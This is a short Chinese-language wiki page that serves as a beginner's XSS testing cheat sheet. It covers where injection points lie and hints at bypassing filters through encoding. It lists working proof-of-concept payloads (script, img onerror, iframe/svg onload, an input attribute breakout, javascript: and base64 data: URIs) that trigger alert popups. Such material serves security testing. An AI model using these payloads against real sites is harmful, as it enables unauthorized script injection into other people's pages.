用户工具

站点工具


start:mining

经验

其实也没什么经验,跟sql注入一样,每一个url参数,,每一个输入框都可以成为xss的注入点,多试总会弹窗的,世上没有不漏风的墙!

简单的xss可以使用简单的payload进行测试,复杂的就要依据具体环境具体对待了,需要对浏览器的编码解码相当熟悉了,通过对输入的payload进行编码绕过服务端的过滤

下面就对简单的payload进行一些说明

弹窗

一般验证xss都是以弹窗作为触发js的证明,而且比较好截图。给审核人员的解释就是:你看,我能任意执行我想要的js代码了,有截图为证

alert

警告框(比如容易被过滤,换下面两个函数试试)

confirm

确认框

prompt

输入框

常用的payload

说几个简单的,我常用的测试xss payload,以alert弹窗为例

script标签

<script>alert(location.href)</script>

演示

img标签

<img src=x onerror=alert(location.href)>

演示

iframe标签

<iframe onload=alert(location.href)>

演示

svg标签

<svg onload=alert(location.href)>

演示

input标签

之所以我这么写,有时候输入的payload是这样的“ onmouseover=alert(location.href) bad=“,而input标签是本身的

<input type="text" value="xss" onmouseover=alert(location.href) bad="">

演示

a标签

一般情况下href后面才是变量,a标签是本身的

javascript伪协议

<a href="javascript:alert(location.href)">click</a>

演示

data伪协议

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydChsb2NhdGlvbi5ocmVmKTwvc2NyaXB0Pg==">click</a>

演示

start/mining.txt · 最后更改: 2017/06/04 05:56 由 xss